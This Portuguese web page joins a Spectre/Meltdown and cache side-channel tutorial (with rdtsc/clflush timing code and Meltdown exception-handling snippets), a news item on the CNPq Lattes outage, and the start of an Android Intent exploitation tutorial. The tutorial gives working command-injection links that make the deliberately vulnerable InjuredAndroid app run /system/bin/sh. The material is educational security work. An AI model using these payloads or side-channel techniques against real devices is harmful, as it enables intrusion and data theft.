      Dessa forma, é esperado um desempenho próximo de 200 ciclos para o primeiro bloco e próximo de 100 ciclos para o segundo bloco. Foram utilizadas as instruções rdtsc para realizar a medição do "tempo" de execução e lfence para serializar a instrução rdtsc, garantindo que ela não será reordenada.
      O resultado do programa (executado em um i5-7500) mostra 264 ciclos para o primeiro bloco e 146 para o segundo. Considerando o overhead esperado pela execução do rdstd; lfence os resultados indicam um throughput mínimo de 0.75 instruções por ciclo para o primeiro bloco e 1.36 para o segundo bloco, evidenciando o comportamento superescalar da CPU.
      //gcc  -masm=intel -o ilp ilp.c #include <stdio.h> int main(){     int time1;     int time2;     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 200        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time1)             );     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 100        ;"             "inc edi        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time2)             );     printf("Ciclos gastos no bloco 1: %i\n",time1);     printf("Ciclos gastos na bloco 2: %i\n",time2);      } $ ./ilp Ciclos gastos no bloco 1: 264 Ciclos gastos na bloco 2: 146  
      Operação da Cache
      A Cache de um processador funciona como uma pequena e rápida memória dentro do chip da CPU que salva o conteúdo dos últimos e próximos endereços a serem acessados. Quando uma CPU solicita um byte para a memória devido ao barramento ser de 64 bits e as memórias serem otimizadas para operação em modo burst bem mais dados do que o que foi solicitados chegam a CPU, assim a cache guarda os dados recebidos para quando eles forem solicitados novamente não seja necessário requisitar a memória novamente e a resposta seja muito mais rápida. 
      A cache armazena os dados em forma de linhas, onde cada linha contém múltiplos bytes (64 bytes atualmente).
      Quando o endereço solicitado chega a cache, ele é dividido da seguinte forma:
      | Tag | Set | Offset| | --- | --- | --- | Offset é a posição do byte na linha da cache, Set é o endereço da linha na Cache e a Tag é o restante. A tag é guardada para poder diferenciar endereços com mesmo set e offset. Em uma CPU com 256 linhas e 64 bytes cada linha o tamanho de cada parte seria:
      |Offset | bits 0-5 | |Set    | bits 6-13 | |Tag    | bits 14-63 | Paginação e Translation Lookasidebuffer
      Processadores modernos necessitam executar múltiplos programas simultaneamente, para isso um dos problemas a ser resolvido é o gerenciamento de memória.Um processo A não deve ser capaz de ler ou escrever na memória de um processo B, se isso fosse possível um programa mal escrito provavelmente causaria um crash acidental nos demais programas ao escrever no endereço errado, ou então um malware seria capaz de ler memória de outros usuários da mesma máquina. Além disso, programas que foram compilados para utilizarem endereços virtuais idênticos devem ser capazes de executar ao mesmo. O compilador não é capaz de conhecer previamente quais endereços estarão sendo utilizados durante a execução do programa.Para isso, o sistema operacional é responsável em realizar a tradução de endereços virtuais(escolhidos pelo compilador) para endereços físicos(utilizados pelo chip de ram).
      #include <stdio.h> int main(){     printf("ola mundo!\n"); } $objdump -s test Contents of section .rodata:  402000 01000200 6f6c6120 6d756e64 6f2100    ....ola mundo!. Endereço virtual 0x402000 utilizado para a string "ola mundo!"
       
      Os sistemas operacionais atuais isolam a memória de processos através de paginação. Toda vez que um programa acessa a memória o endereço é traduzido de endereço virtual para físico através da consulta da tabela de páginação no sistema operacional. Essa tradução é feita através da tabela de paginação, uma região de memória em que o kernel pode escrever os valores do endereço físico de cada página a ser traduzida. Por questões de economia de espaço, ela é dividida em níveis. Caso essa divisão não exsitisse, para páginas de 4kb de tamanho e 48-bits de espaço de endereçamento e 8 bytes de entrada seriam necessários 2^36 indices, portanto 2^36 * 8 = 512GB para um único processo. Quando a tabela de paginação é divida em dirietórios, se o diretório superior possui 10 entradas, apenas as entradas utilizadas provocarão uma alocação dos diretórios inferiores, reduzindo o total de espaço alocado para a tabela de paginação.
      É importante ressaltar que junto ao endereço físico armazenado em cada entrada, estão presentes também as permissões da cada página como leitura, escrita e execução. Caso uma instrução viole a permissão de leitura ou escrita por exemplo a CPU gera uma exceção de Segmentation Fault que pode fazer com que a execução do programa seja suspensa.

      Esquema de páginação de 4 níveis utilizado no linux. Adaptado de https://jasoncc.github.io/kernel/jasonc-mm-x86.html
      Para aumentar o desempenho essa tabela é cacheada através do Translation lookaside buffer, que guarda os mapeamentos recentes entre endereço virtual e físico, evitando assim com que a memória seja consultada toda vez que um endereço seja acessado.
      Quando uma troca de contexto ocorre como o chaveamento entre dois processos, o registrador CR3 que aponta para a base da tabela é trocado e a TLB deve receber um flush para invalidar suas entradas.
      ---
      Observação
      Devido ao desuso da segmentação, o endereço virtual usualmente será o mesmo que o endereço linear que seria obtido após a segmentação e utilizado como entrada para o mecanismo de paginação.
      ---
      Observando o estado da micro arquitetura - Cache Side Channels Attacks
      Um ataque de side channel é um ataque que ao invés de buscar uma falha no algoritmo, exfiltra ou obtem informação sensível de um sistema baseado em algum efeito colateral durante a sua execução.
      Alguns exemplos de side channel
      Frequencia de rádio Air-Fi permite um atacante exfiltrar dados de um computador comprometido mas sem acesso a internet, utilizando o barramento de memória como placa de rede sem fio. TempestSDR permite um atacante recuperar a imagem transmitida para um monitor através das ondas eletromagnéticas transmitidas pelo cabo HDMI. Consumo de energia Ataques de análise de consumo de energia podem ser capazes de identificar quais etapas do algoritmo de encriptação estão sendo executadas e assim extrair a chave utilizada. (rhme2 CTF https://github.com/Riscure/Rhme-2016) Tempo Checagens de senhas com tempo variável podem permitir descobrir quantos caracteres em uma senha estão corretos e assim realizar um ataque de força bruta com muito mais facilidade Cache Permite observar efeitos colaterais da execução de outros programas, bem como observar os efeitos de operações internas de CPU que deveriam ser invisíveis ao programador, como execução especulativa por exemplo. Para compreender melhor os ataques a seguir vamos escolher um tipo de side channel de cache que será utilizado como método de exfiltração dos segredos obtidos pelos ataques a seguir.
      Copy on write e ataques de side channel
      Porém, nem sempre é desejavel que os processos isolem completamente sua memória. Seções de memória comuns a diversos processos como bibliotecas podem ser compartilhadas através do mecanismo de Copy on Write. Nele, quando uma página é carregada através da syscall de mmap com um arquivo como parâmetro se aquele arquivo já estiver mapeado em memória não é criada uma nova página. Caso o processo deseje alterá-lo, uma cópia privada da página é criada e passa a ser exclusiva para aquele processo, por isso o nome Copy on Write. Embora não haja nenhum problema de segurança inerente desse mecanismo pois para que haja compartilhamento as seções devem ser idênticas, o mero compartilhamento da memória física pode gerar interferências entre processos, como será visto ao analisar o tempo de resposta da memória para essas regiões.

      Diagrama de dois processos compartilhando a região de bibliotecas. Quando o endereço virtual referente a biblioteca é traduzido, ele aponta para uma única região da memória RAM
      Exemplo de programa vulnerável a side channel
      void main(){     //emojiList é compartilhada por COW pois está em uma biblioteca     char *flag="segredo";     char t;     while (1){         for (int i=0;flag[i]!='\0';i++){           t = emojiList[flag[i] * 160];         }     } } No exemplo acima, o conteúdo da variável flag, a principio não conhecida pelo atacante é utilizado como índice para acessar o array `emojiList`. Quando um acesso ocorre, o emoji passa estar presente na cache, de tal forma que o próximo acesso vai ter um tempo de resposta inferior. Sabendo disso um atacante poderia constantemente medir o tempo de resposta de cada valor possível do emojiList e quando detectar um tempo de resposta rápido, inferir qual caracter foi utilizado como índice.
      Para essa manipulação de cache, são utilizados duas instruções 
      RDTSC - Read Time Stamp Counter, que lê um registrador que conta quantos ciclos se passaram desde o boot da máquina. É utilizada como um relógio muito preciso para a medição de tempo CLFLUSH - Permite invalidar uma linha da cache dado um endereço. É utilizada para impedir que a própria medição do tempo de acesso leve a um falso positivo na proxima medição LFENCE - Realiza uma operação de serialização em todos os pedidos de leitura da memória anteriores a instrução LFENCE. Instruções subsequentes a LFENCE podem ser lidas mas elas não serão executadas especulativamente até a finalização da LFENCE. MFENCE - Funciona de forma semelhante a LFENCE mas funciona também para pedidos de escrita. Um exemplo de medição seria
      unsigned long probe_timing(char *adrs) {     volatile unsigned long time;     asm volatile(         "    mfence             \n"         "    lfence             \n"         "    rdtsc              \n"         "    lfence             \n"         "    movl %%eax, %%esi  \n"         "    movl (%1), %%eax   \n"         "    lfence             \n"         "    rdtsc              \n"         "    subl %%esi, %%eax  \n"         "    clflush 0(%1)      \n"         : "=a" (time)         : "c" (adrs)         : "%esi", "%edx"     );     return time; }
      Para que um sistema seja vulnerável a esse tipo de ataque é necessário que haja uma clara distinção entre o tempo de resposta de um dado presente apenas na memória e um dado em cache. Para isso é possível testar:
       
      char globalVar[4096]={1,4,7,8,5,9,1}; int main(){   unsigned long t1,t2;   unsigned long count=0;   double total_access,total_evict;   total_access=0;   total_evict=0;   for(unsigned i=0;i<100;i++){     if (i%2==0){       maccess((void *)&globalVar[44]);     }     t1=probe_timing((void *)&globalVar[44]);     count++;     if (i%2==0){       printf("time w acess: %lu\n",t1);       total_access+=(double)t1;     }     else{       printf("time no acess: %lu\n",t1);       total_evict+=(double)t1;     }      }   printf("avg cached=%lf\n",total_access/50);   printf("avg evicted=%lf\n",total_evict/50);   return 0; ... time w acess: 68 time no acess: 304 time w acess: 66 time no acess: 308 avg cached=68.400000 avg evicted=347.200000 # head /proc/cpuinfo  processor    : 0 vendor_id    : GenuineIntel cpu family    : 6 model        : 158 model name    : Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz stepping    : 9 cpu MHz        : 3408.006 cache size    : 6144 KB
      Botando o tempo de resposta de cada acesso no gráfico, pode-se perceber a diferença do tempo de acesso entre dados presentes na cache e na memória principal e se estabelecer um limite para decidir se o dado esta na cache.

      Diferença do tempo de resposta da memória para dados em cache



      O ataque originalmente foi criado para vazar chaves criptográficas entre usuários usando a biblioteca GnuPG. Posterioremente o exploit foi adotado em outros ataques de micro arquitetura como canal para vazar segredos obtidos de forma especulativa.
      Spectre
      O spectre se baseia no envenenamento de preditores para realizar a execução de código que não deveria ser executado. Dessa forma um atacante consegue enganar a CPU a burlar checagens de limite ou até obter execução de código (espculativa) no processo da vitima. Isso traz implicações sérias de segurança para o isolamento entre processos e sandboxes como navegadores. 
      Variant 1 - Exploiting Conditional Branch Missprediction  
      if (x < array1_size)     y = array2[array1[x] * 4096];
      O código acima mostra um exemplo de programa vulnerável ao spectre em que o atacante possui controle da variável x.Na primeira linha existe uma checagem do limite do valor x para impedir que o conteúdo do array1 seja acessado fora desse limite o que poderia gerar uma exceção ou um acesso a um dado sensível no espaço de endereço do processo da vítima. A segunda linha consistem em um alvo para um side channel attack. O conteúdo do array1 é utilizado como indice para o array2. É possível mensurar quais elementos do array2 estão em cache através de ataques como flush+reload caso array2 seja compartilhado via COW ou através de outros side channels mais complexos como prime+probe que não necessitam de memória compartilhada. 
      Utilizando apenas o side channel é possível obter o conteúdo do array1, porém o exploit do spectre amplia o escopo do ataque permitindo vazar endereços fora do limite do array.
      Manipulação de preditor
      A primeira linha realiza uma checagem que está passível a ser especulada. Caso o valor de array1_size demore para ser lido, o processador criará um ponto de especulação e tera de decidir se o desvio será tomado. Um atacante com o controle do x pode manipular o preditor para treinar a CPU a sempre executar o bloco dentro da condicional. Supondo um valor de array1_size=10 por exemplo uma sequencia de entradas como: 0,0,0,0,0,0,0,0,20 faria o preditor saturar na posição de desvio não tomado fazendo com que ao tratar a entrada x=20; y = array2[array1[20] * 4096];  seja executado de forma especulativa e o segredo presente na posição 20 seja vazado, o que pode ser outra variável. 
      Exploits dessa categoria são perigosos para navegadores pois podem ser implementados de forma semelhante em javascript. Um código em javascript que seja capaz de ler a memória do próprio processo pode extrair cookies e dados sensíveis de outros domínios.

      Antes da checagem de limite ser realizada, o preditor de desvio continua a execução no caminho mais provável, levando a uma melhora do desempenho quando correto. Todavia se a checagem do limite for indevidamente predita como verdadeira pode levar um atacante a vazar informação em algumas sitauções. Extraido de: Spectre Attacks: Exploiting Speculative Execution
      É importante notar também que cada núcleo da CPU possui o próprio preditor de desvio, portanto para que esse ataque seja bem sucedido quando executado em processos diferentes eles sejam escalonados para executarem no mesmo núcleo, seja através do escalonador do sistema operacional ou através de mecanismos Simultaneous MultiThreading (SMT).

      V2 Poisoning Indirect Branches
      Conforme já foi abordado, preditores condicionais tem apenas duas opções para escolher sobre o pulo, tomar ou não tomar. Porém existem instruções que permitem pulos para endereços armazenados em variáveis por exemplo que possuem um comportamento um pouco mais complicado de predizer.
      call rbx              ;branch direto jump rcx              ;branch direto call [rax]            ;branch indireto São todas instruções que necessitam do preditor indireto. Esses tipos de instruções são geradas quando o programa precisa dinamicamente descobrir o que executar. funções que recebem ponteiros para outras funções ou até mesmo Virtual tables podem gerar esse comportamento. Para realizar essa predição a CPU possui um Branch Target Buffer (BTB) que armazena os endereços de origem e destino dos desvios indiretos mais recentes.

      Diagrama do preditor de desvio Incondicional - Extraído de Exploiting Speculative Execution
      Para efetuar o ataque o programa do atacante deve treinar o BTB para que quando a vitima execute o desvio indireto o atacante tenha controle do endereço de destino. A técnica utilizada é muito semelhante a Return Oriented Programing (ROP), pois constrói o código de ataque utilizando pedaços do código da vítima, porém não há nenhuma corrupção de memória envolvida.O único meio de obter informação é através do estado da cache.

      Layout de um ataque de Spectre V2
      Para performar o ataque o atacante deve alinhar em seu processo o endereço do pulo ou chamada e treinar o preditor para outro endereço. Como entrada para o preditor são utilizados os endereços virtuais do programa, portanto além de ser necessário identificar a existência de um spectre gadget é necessário também saber o seu endereço.
      Exemplo de gadget encontrado na função Sleep em ntdll.dll no Windows
      adc edi,dword ptr [ebx+edx+13BE13BDh] adc dl,byte ptr [edi] Quando os registradores ebx e edi são controlados pelo atacante através de entradas para o programa, o atacante é capaz de fornecer um endereço alvo, tal que ebx = alvo - edx -13BE13BDh e manipular edi para ser a base do array de medição. A primeira instrução executa uma leitura no endereço desejado e a segunda instrução utiliza o segredo lido como endereço para acessar o array. Posteriormente o atacante deve executar um dos ataques de side channel para descobrir qual endereço foi acessado de forma especulativa, vazando assim o dado condido no endereço apontado por alvo. 
      Mitigações
      Devido ao spectre se basear em padrões específicos de outros programas, a mitigação não é trivial e é usualmente feita de forma individual.
      Prevenção de especulação
      É possível utilizar instruções de serialização ou de bloqueio de especulação como LFENCE antes de trechos de código vulneráveis como branches condicionais ou indiretos. 
      Prevenção do envenenamento de branches
      Alguns mecanismos são capazes de previnir a especulação entre diferentes domínios:
      Indirect Branch Restricted Speculation (IBRS) impede com que branches de código menos privilegiado afetem branches de código de maior privilégio; Single Thread Indirect Branch Prediction (STIBP) evita que códigos executados no mesmo núcleo e em threads diferentes (exemplo hyperthreading) compartilhem as mesmas predições; Indirect Branch Predictor Barrier (IBPB) permite colocar barreiras que impedem com que o estado do BTB afetem a próxima execução (através de flush do BTB por exemplo); Retpotline substitui as chamadas indiretas por instruções de retorno, e forçam com que o endereço seja especulado para um endereço seguro. Meltdown
      O Meltdown ocorre devido ao tempo de resposta que uma exeção leva até que a execução do processo seja suspensa, ou a exceção seja tratada. Nesse período, o programa continua a executar de forma fora de ordem e/ou especulativa, mesmo após a ocorrência de uma exceção. O meltdown ameaça a barreiras de segurança sendo capaz de ler memória de outros processos, kernel e até memória de outros usuários em ambientes virtualizados em nuvem.
      Mapeamento de memória
      O espaço de endereçamento de um processo em execução é dividido em várias seções, cada uma contendo um ou mais páginas. 
      Texto -  Estão presentes as instruções geradas a partir de funções, em resumo é o código do programa possui em geral permissões de leitura e execução; Data - Utilizada para variáveis globais já inicializadas; BSS - Contem as variáveis globais não inicializadas que são portanto criadas com o valor 0; Heap - Armazena as variáveis criadas dinamicamente, como a heap possui tamanho dinâmico; Stack - Guarda as variáveis de escopo local, como variáveis de funções, bem como endereços de retornos. Data, heap, BSS e stack possuem geralmente permissão de leitura e escrita; Kernel - O kernel é mapeado em todos os processos em execução. Páginas de kernel possuem um bit indicando que não são acessíveis em modo usuário, portanto um acesso a essa região provoca um segfault.
      Embora seja um pouco contraintuitivo, o kernel é mapeado como área do processo por uma questão de performance. Conforme foi visto anteriormente, durante toda troca de contexto é necessário limpar o TLB e ler novamente a tabela de paginação, o que leva tempo e traz um impacto negativo na performance, sobretudo se um programa realiza muitas chamadas de sistema operacional (diversas leituras de arquivo por exemplo), o que força a troca de contexto com maior frequência. Para reduzir esse efeito o kernel é mapeado no espaço de endereçamento virtual do processo, dessa forma não é necessário realizar o flush na TLB.
      Exceções e execução fora de ordem 
      No exemplo abaixo a primeira linha provoca uma exceção ao ler um endereço de memória que não possui permissão de leitura. Isso fará com que o programa seja terminado e portanto a segunda linha deveria ser incapaz de executar. Porém devido a forte característica de execução fora de ordem do processador, é possível que antes do controle ser passado ao Exception handler, as instruções subsequentes possam ser executadas provocando alteração de estado na micro arquitetura (ex cache), apesar de seus resultados nunca serem resgatados.
      raise_exception(); access(probe_array[data * 4096]);  

      Fluxo de execução após uma exceção. Extraido de Meltdown: Reading Kernel Memory from User Space
      Apesar de as instruções serem executadas de forma transiente, o programa ainda está destinado a terminar. Portanto é necessário ou tratar a excessão ou impedir que ela aconteça em primeiro lugar. 
      Tratamento de exceção
      O caso mais simples de tratameto de exceção é através da execução de um fork logo antes do acesso que gera o seg fault. Dessa forma o processo filho realiza a execução transiente, passando o segredo através de alterações do estado da cache para o processo pai.
      char readByte(unsigned char *addr){   volatile char tmp;   if(fork()){     readSideChannel();   }   else{     tmp = probe[(*addr)*4096];   } }
      O problema ao utilizar fork como tratamento de exceção é o custo de criar um novo processo para a tentativa de leitura de um byte. Uma alternativa mais performática seria utilizar a syscall sys_rt_sigaction para instalar um exception handler que permita a continuação do programa mesmo após a ocorrência de um segfault. No exemplo abaixo, o acesso ao endereço 0 é capturado pelo handler instalado no programa.`
       
      #include <stdio.h> #define __USE_GNU #include <ucontext.h> #include <signal.h> void segFaultHandler(int signum, siginfo_t* ignored, void* context) {   ((ucontext_t*)context)->uc_mcontext.gregs[REG_RIP]++;   printf("Exception captured\n"); } int main(){     struct sigaction sigstruct;     sigstruct.sa_handler = SIG_DFL ;     sigstruct.sa_sigaction = segFaultHandler;     sigstruct.sa_flags = SA_SIGINFO;     sigaction(SIGSEGV, &sigstruct, NULL);     int a =0;     int b = *(int *)a;     printf("finished execution\n"); } $./sig Exception captured Exception captured finished execution

      Supressão de exceção
      Uma outra alternativa para evitar a finalização do processo é impedir que a exceção seja provocada em primeiro lugar. Utilizando uma técnica muito semelhante a vista na variante 1 do spectre, é possível induzir a CPU a acessar especulativamente o endereço de kernel através de uma perdição incorreta, dessa forma a exceção nunca será gerada.
       
      //adaptação do Spectre v1 para Metldown com supressão de exceção if (x < array1_size)     y = array2[array1[kernel_offset] * 4096];
      Leitura de memória de outros processos
      Para que o kernel seja capaz de realizar operações como copy_from_user é conveniente que toda a memória física seja mapeada no espaço de endereçamento do kernel.

      Toda a memória física esta mapeada no kernel. A seção em azul está mapeada tanto acessivel no espaço do usuário quanto no kernel através de mapeamentp direto. Extraído de Meltdown: Reading Kernel Memory from User Space
      Portanto um ataque que seja capaz de ler memória do kernel, ao iterar pelo espaço de usuário do kernel eventualmente lê a memória dos demais processos em execução.
      Mitigações
      Devido a vulnerabilidade se encontrar no comportamento de execução fora de ordem do processador as mitigações não são triviais, embora sejam mais efetivas que o spectre, devido ao comportamento específico de ataque ao kernel do spectre.
      KASLR
      De forma semelhante ao Address Space Layout Randomization (ASLR) disponível para modo de usuário, o kernel possui o Kernel Address Space Layout Randomization e serve como mitigação para ataques de corrupção de memória. Embora o Meltdown não se baseia nessa classe de ataques, ao randomizar o endereço base do kernel, o processo de leitura é dificultado. Todavia outras classes de ataque são capazes de revelar esse endereço, como por exemplo colisões de Branch target buffers, conforme descrito por Jump over ASLR.
      KPTI
      Kernel Page Table Isolation opera em cima da quantidade de dados que pode ser extraida utilizando o ataque. Quando a mitigação é implementada o kernel passa a gerenciar dois conjuntos de páginas. A parte do kernel mapeada no espaço de endereçamento do usuário é restrita apenas a funcionalidade mínima necessária como executar syscalls e exceções. O segundo conjunto contém além das páginas do usuário todo o mapeamento da memória fisica e pode ser utilizado para operações como copy_from_user. Caso seja necessário, o kernel deve trocar de espaço de endereçamento para o conjunto contendo o kernel completo.
      Bibliografia
      Flush + Reload https://eprint.iacr.org/2013/448.pdf
      Spectre https://spectreattack.com/spectre.pdf
      MDS attacks https://mdsattacks.com/
      Meltdown https://meltdownattack.com/meltdown.pdf
      RSA power analys https://www.youtube.com/watch?v=bFfyROX7V0s
      Linux memory management https://jasoncc.github.io/kernel/jasonc-mm-x86.html
      Sigaction https://man7.org/linux/man-pages/man2/sigaction.2.html
      Tabela de paginação https://www.kernel.org/doc/gorman/html/understand/understand006.html
      Jump over ASLR http://www.eecs.umich.edu/courses/eecs573/slides/38 - Secure and Bug-Free Systems.pdf
      PTI https://www.kernel.org/doc/html/latest/x86/pti.html
      rhme CTF https://github.com/Riscure/Rhme-2016
      Algumas provas de conceito https://github.com/Jos3Luiz/hackeando-cpus
      Computer Organization and Design RISC-V edition
    • By Bruna Chieco
      Um incidente relacionado aos sistemas do Conselho Nacional de Desenvolvimento Científico e Tecnológico (CNPq) deixou indisponível o acesso ao currículo Lattes e diversos sistemas de informática da instituição. O problema já ocorre há mais de três dias, levando à repercussão, nas redes sociais, de cientistas e professores que estão se manifestando sobre o quanto o "apagão" pode prejudicar seus trabalhos.
      A Plataforma Lattes CNPq integra as bases de dados de currículos e de instituições da área de ciência e tecnologia em um único sistema de informações. Sua importância e relevância atual se estende não somente às atividades operacionais de fomento do CNPq, como também às ações de outras agências federais e estaduais na área da Ciência e da Tecnologia. O CNPq nomeou o sistema em homenagem a César Lattes, físico brasileiro e um dos principais responsáveis pela criação da instituição. 
      Em comunicado, o CNPq afirma que "o problema que causou a indisponibilidade dos sistemas já foi diagnosticado em parceria com empresas contratadas e os procedimentos para sua reparação foram iniciados". A instituição destaca que existem backups cujos conteúdos estão apoiando o restabelecimento dos sistemas, reforçando que não houve perda de dados da Plataforma Lattes.
      O incidente repercutiu negativamente entre pessoas que atuam nas áreas de Ciência e Tecnologia, já que o site reúne toda a trajetória acadêmica dos pesquisadores brasileiros, enquanto professores e estudantes cadastram as informações sobre sua produção acadêmica, as pesquisas em andamento ou finalizadas, os artigos publicados, as bolsas conquistadas, entre outros.
      Apesar do CNPq afirmar que há backup, a demora para o restabelecimento do sistema incomodou os especialistas da área. A Cientista da Computação recentemente entrevistada pelo Mente Binária, Nina da Hora, manifestou em suas redes sociais a insatisfação com as explicações dadas no comunicado do CNPq sobre o ocorrido:
       
      O professor e político Comte Bittencourt está entre os que se manifestaram sobre a problemática relacionada à indisponibilidade do sistema:
      Nós do Mente Binária notamos que parece haver uma negligência em relação aos processos de backup de dados, já que muitas empresas e instituições sofrem com esse tipo de apagão ou falta de acesso, especialmente por conta de ataques e ameaças de segurança, como ransomware, o que tem sido crescente. Isso denota a baixa maturidade das empresas em relação à segurança, disponibilidade e integridade dos dados, que é o caso do incidente ocorrido no CNPq, mesmo que este não esteja relacionado a um ataque.
    • By caioluders
      Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.
      Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.
      intent://
      Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.
      <intent-filter>
      Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.
      Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml
      <activity     android:name=".RCEActivity"     android:label="@string/title_activity_rce"     android:theme="@style/AppTheme.NoActionBar">     <intent-filter android:label="filter_view_flag11">         <action android:name="android.intent.action.VIEW" />         <category android:name="android.intent.category.DEFAULT" />         <category android:name="android.intent.category.BROWSABLE" />         <!-- Accepts URIs that begin with "flag13://” -->         <data             android:host="rce"             android:scheme="flag13" />     </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.
      O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.
      A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.

      flag13://rce
      Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️
      Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:
      49 if (intent != null && intent.data != null) { 50     copyAssets() 51     val data = intent.data 52     try { 53         val intentParam = data!!.getQueryParameter("binary") 54         val binaryParam = data.getQueryParameter("param") 55         val combinedParam = data.getQueryParameter("combined") 56         if (combinedParam != null) { 57             childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58                 override fun onDataChange(dataSnapshot: DataSnapshot) { 59                     val value = dataSnapshot.value as String? 60                     if (combinedParam == value) { 61                         FlagsOverview.flagThirteenButtonColor = true 62                         val secure = SecureSharedPrefs() 63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64                         correctFlag() 65                     } else { 66                         Toast.makeText(this@RCEActivity, "Try again! :D", 67                                 Toast.LENGTH_SHORT).show() 68                     } 69                 } 70 71                 override fun onCancelled(databaseError: DatabaseError) { 72                     Log.e(TAG, "onCancelled", databaseError.toException()) 73                 } 74             }) 75         } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:
      76 else { 77 78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79     val bufferedReader = BufferedReader( 80             InputStreamReader(process.inputStream)) 81     val log = StringBuilder() 82     bufferedReader.forEachLine { 83         log.append(it) 84     } 85     process.waitFor() 86     val tv = findViewById<TextView>(R.id.RCEView) 87     tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈
      Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.
      Nossa PoC terá os seguintes passos :
      Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim:
      <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉
      S.Intent_Extras
      Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :
      <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.
      Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:
